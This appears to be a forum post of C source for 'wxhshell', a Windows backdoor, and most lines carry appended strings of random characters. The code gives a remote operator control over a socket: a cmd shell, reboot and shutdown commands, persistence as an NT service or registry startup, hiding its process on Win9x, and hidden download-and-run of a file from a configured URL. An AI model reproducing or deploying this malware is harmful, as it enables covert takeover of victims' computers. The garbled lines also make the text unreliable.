  // 帮助 3Ccy %;  
  case '?': { =cpUc]~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); li hIPMU  
    break; y2W|,=Vd  
  } HYg! <y  
  // 安装 Rk,'ujc  
  case 'i': { vPz$+&{I  
    if(Install()) F r!FV4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zg$S% 1(Q  
    else Ptz## o'{5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C}#$wge  
    break; @U3:9~Q  
    } !&xci})7a  
  // 卸载 :YQI1 q[6  
  case 'r': { I8a3:)  
    if(Uninstall()) ollsB3]]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0kSM$D_  
    else 'hE'h?-7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s+~GQcj<T  
    break; l?QA;9_R'  
    } ^U5Qb"hz  
  // 显示 wxhshell 所在路径 =z;]FauR!  
  case 'p': { pd B\D  
    char svExeFile[MAX_PATH]; wVqp')e  
    strcpy(svExeFile,"\n\r"); s7afj t  
      strcat(svExeFile,ExeFile); RC}m]!Uz  
        send(wsh,svExeFile,strlen(svExeFile),0); > 23$_'2  
    break; *|<T@BXn  
    } IU<lF)PF$  
  // 重启 (i L*1f   
  case 'b': { ~`Rar2%B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?JG^GD7D  
    if(Boot(REBOOT)) D2g/P8.<A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d<+hQ\BF,  
    else { w >2sr^!y  
    closesocket(wsh); |.,]0CRg  
    ExitThread(0); pHuR_U5*?  
    } ^B0Qk:%P^N  
    break; t7l{^d_L  
    } 5F+G8  
  // 关机 =\_gT=tZ  
  case 'd': { m% 3D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HdgNy\  
    if(Boot(SHUTDOWN)) x!fG%o~h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QyxUK}6mr  
    else { ]=VRct "  
    closesocket(wsh); ^*i0~_  
    ExitThread(0); e'>q( B  
    } :_y!p  
    break; >s 6ye  
    } ^D5Jqh)  
  // 获取shell pmUf*u-  
  case 's': { r<vy6  
    CmdShell(wsh); 3<Zp+rD  
    closesocket(wsh); xu_,0 ZT]{  
    ExitThread(0); 2,dWD<h  
    break; F|{uA/P{  
  } g0bYO!gC r  
  // 退出 ax>j3HKi  
  case 'x': { $&&E[JY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CvmIDRP*  
    CloseIt(wsh); En1LGi4#  
    break; $%q=tn'EX  
    } $:%E<j 4Dn  
  // 离开 PWyf3  
  case 'q': { c\2rKqFD8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JC%&d1  
    closesocket(wsh); tH)j EY9  
    WSACleanup(); #H w(w  
    exit(1); *Q^ z4UY  
    break; h# "$W;(  
        } #kASy 2t  
  } C=V2Y_j  
  } 8'zZVX D<  
!}z'"l4i  
  // 提示信息 l>}f{az-T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cu($mjC@T  
} fE+zA)KX  
  } 7Vsp<s9bj  
m<hP"j  
  return; ^APtV6g  
} .Zczya  
uD>=  
// shell模块句柄 #M16qOEw  
int CmdShell(SOCKET sock) Q0Ft.b  
{ X)[tb]U/Wx  
STARTUPINFO si; }a||@unr  
ZeroMemory(&si,sizeof(si)); N o6!gZ1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d]] z )  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o]4\Geg$  
PROCESS_INFORMATION ProcessInfo; IgG[Pr'D  
char cmdline[]="cmd"; bsF_.S*k@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bu|.Jw"  
  return 0; zo( #tQ-'m  
} X}v*"`@Q  
Sy|GM~  
// 自身启动模式 4MzQH-U>/  
int StartFromService(void) dHUbaf:e)T  
{ Ctz#9[|  
typedef struct m+hI3@j  
{ R~4X?@ZB  
  DWORD ExitStatus; Q !;syJBb.  
  DWORD PebBaseAddress; 1j$\ 48Z  
  DWORD AffinityMask; O`9c!_lis  
  DWORD BasePriority; gHLI>ew*QR  
  ULONG UniqueProcessId; JP5e=Z<  
  ULONG InheritedFromUniqueProcessId; E(P 6s;LZ  
}   PROCESS_BASIC_INFORMATION; ZpVkgX4  
rk W7;!  
PROCNTQSIP NtQueryInformationProcess; >\ Dy  
z}ar$}T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cK+TE8ao  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y=P*   
'd+fGx7i  
  HANDLE             hProcess; =Z  
  PROCESS_BASIC_INFORMATION pbi; V ql4*OJW  
qT@h/Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^ ~Eh+  
  if(NULL == hInst ) return 0; eo0-aHs  
y4Jc|)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #[#evlr=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AU$~Ap*rsa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;o!p9MEpz;  
:+,;5  
  if (!NtQueryInformationProcess) return 0; -`~qmRpqY  
 v_!6S|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hy*{ {f;  
  if(!hProcess) return 0; ^HSxE  
ep"[; $Eb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; il5C9ql$  
f+^6.%  
  CloseHandle(hProcess); m1X7zUCy  
N `|A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'Rn-SD~gIr  
if(hProcess==NULL) return 0; pbzFzLal  
8}  B  
HMODULE hMod; W`;;fJe  
char procName[255]; kh W.  
unsigned long cbNeeded; }=^ ,c  
r%PWv0z_c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jj-\Eb?  
5?k5J\+  
  CloseHandle(hProcess); KNx/1 lf  
m^D'p  
if(strstr(procName,"services")) return 1; // 以服务启动 DXLXGvcM  
:<qe2Z5k  
  return 0; // 注册表启动 *,\"}x*  
} @V%\Gspv  
>!=@TK(~  
// 主模块 c@t?R$c  
int StartWxhshell(LPSTR lpCmdLine) Ga7E}y%  
{ >|QH I d8  
  SOCKET wsl; OIrm9D #  
BOOL val=TRUE; f$o^Xu  
  int port=0; Sa= tiOv  
  struct sockaddr_in door; N(&{~*YE  
f^$,;  
  if(wscfg.ws_autoins) Install(); Hf`i~6  
c{=Sy;i@  
port=atoi(lpCmdLine); $o[-xNn1  
J/je/PC  
if(port<=0) port=wscfg.ws_port; FU3K?A B  
h6h6B.\ Ld  
  WSADATA data; N[I@}j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +:FXtO>n"  
b#6S8C+@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~:a1ELqVw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {[H_Vl@  
  door.sin_family = AF_INET; ]01`r/->\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8rsc@]W  
  door.sin_port = htons(port); 3(BL  
*7!MG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TA[%eMvA  
closesocket(wsl); #A/OGi  
return 1; a"vzC$Hxd  
} `|'w]rj:"+  
S<nF>JRJa  
  if(listen(wsl,2) == INVALID_SOCKET) { .vu7$~7  
closesocket(wsl); 7V"?o  
return 1; l]]NVBA])  
} V!Wy[u  
  Wxhshell(wsl); YdhTjvx  
  WSACleanup(); ea 3w  
Bz]tKJ  
return 0; WcN4ff-  
qezWfR`  
} xs"i_se  
zj`c%9N+  
// 以NT服务方式启动 'm`O34h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gT)(RS`_)  
{ IK -vcG  
DWORD   status = 0; _^<vp  
  DWORD   specificError = 0xfffffff; aq?bI:>8  
zIc6L3w$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C @Ts\);^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $[T ~<I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f.g!~wGD  
  serviceStatus.dwWin32ExitCode     = 0; mI lg=8:  
  serviceStatus.dwServiceSpecificExitCode = 0; 3! P^?[p3  
  serviceStatus.dwCheckPoint       = 0; aCU[9Xr?  
  serviceStatus.dwWaitHint       = 0; #/qcp|m  
RRO@r}A!y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); voZaJ2ho/O  
  if (hServiceStatusHandle==0) return; r]e{~v/  
1]} \h]*  
status = GetLastError(); ~A0AB `7  
  if (status!=NO_ERROR) 2-F7tcya|  
{ `q}D#0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U N?tn}`!  
    serviceStatus.dwCheckPoint       = 0; Trirb'qO  
    serviceStatus.dwWaitHint       = 0; u$w.'lK  
    serviceStatus.dwWin32ExitCode     = status; o#FctM'Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; sX?arI=_U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I]ej ]46K  
    return; P}6#s'07~  
  } xbiprhdv  
>Iij,J5i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; . r/s.g  
  serviceStatus.dwCheckPoint       = 0; }%KQrlbHJl  
  serviceStatus.dwWaitHint       = 0; VmQ^F| {  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a Mqt2{f+  
} uNf'Zeo  
Yte*$cJ=  
// 处理NT服务事件,比如:启动、停止 )F9IzR-&m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X[J<OTj`$  
{ 4H;g"nWqO  
switch(fdwControl) pll5m7[  
{ @#wG)TA  
case SERVICE_CONTROL_STOP: HtN: v  
  serviceStatus.dwWin32ExitCode = 0; @Hj]yb5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |(~IfSE2  
  serviceStatus.dwCheckPoint   = 0; r%: :q^b3  
  serviceStatus.dwWaitHint     = 0; ,5 8-h?B0v  
  { T:j41`g%s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i(A `'V8GY  
  } <,Gjo]z  
  return; %YxKWZ/?  
case SERVICE_CONTROL_PAUSE: '(lsJY[-x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !@V]H  
  break; s\.r3U&6  
case SERVICE_CONTROL_CONTINUE: Vb 36R _u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ez <YD  
  break; $jk4H+H-  
case SERVICE_CONTROL_INTERROGATE: G>dXK,f<B0  
  break; 5P*jGOg.  
}; D[T\_3 W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )~)T[S  
} 6heK8*.T  
FkaQVT  
// 标准应用程序主函数 QKk7"2t|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Sn97DCdk  
{ ddYb=L+_b  
p+I`xyk  
// 获取操作系统版本 ~Q- /O~  
OsIsNt=GetOsVer(); tm;\m!^X{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0>,i] |Y  
n~,6!S  
  // 从命令行安装 mv<cyWp  
  if(strpbrk(lpCmdLine,"iI")) Install(); .Sm 8t$  
b#(QZ  
  // 下载执行文件 T+V:vuK  
if(wscfg.ws_downexe) { JWt@vf~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  X56.Y.  
  WinExec(wscfg.ws_filenam,SW_HIDE); } BP.t$_  
} ziAn9/sT  
kaZcYuT.9  
if(!OsIsNt) { TIV|7nKL  
// 如果时win9x,隐藏进程并且设置为注册表启动 X?8bb! g%Q  
HideProc(); f]+. i-c=  
StartWxhshell(lpCmdLine); 'pAq;2AA  
} rp-.\Hl/a  
else ]:6IW:  
  if(StartFromService()) yWYsN  
  // 以服务方式启动 T.!.3B$@]  
  StartServiceCtrlDispatcher(DispatchTable); `yXHb  
else ZYl*-i&~?  
  // 普通方式启动 B3u:D"t  
  StartWxhshell(lpCmdLine); YZ0Q?7l7  
gA+@p'XnR  
return 0; c5Hm94, p  
}
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只看该作者 1 发表于: 2006-10-10
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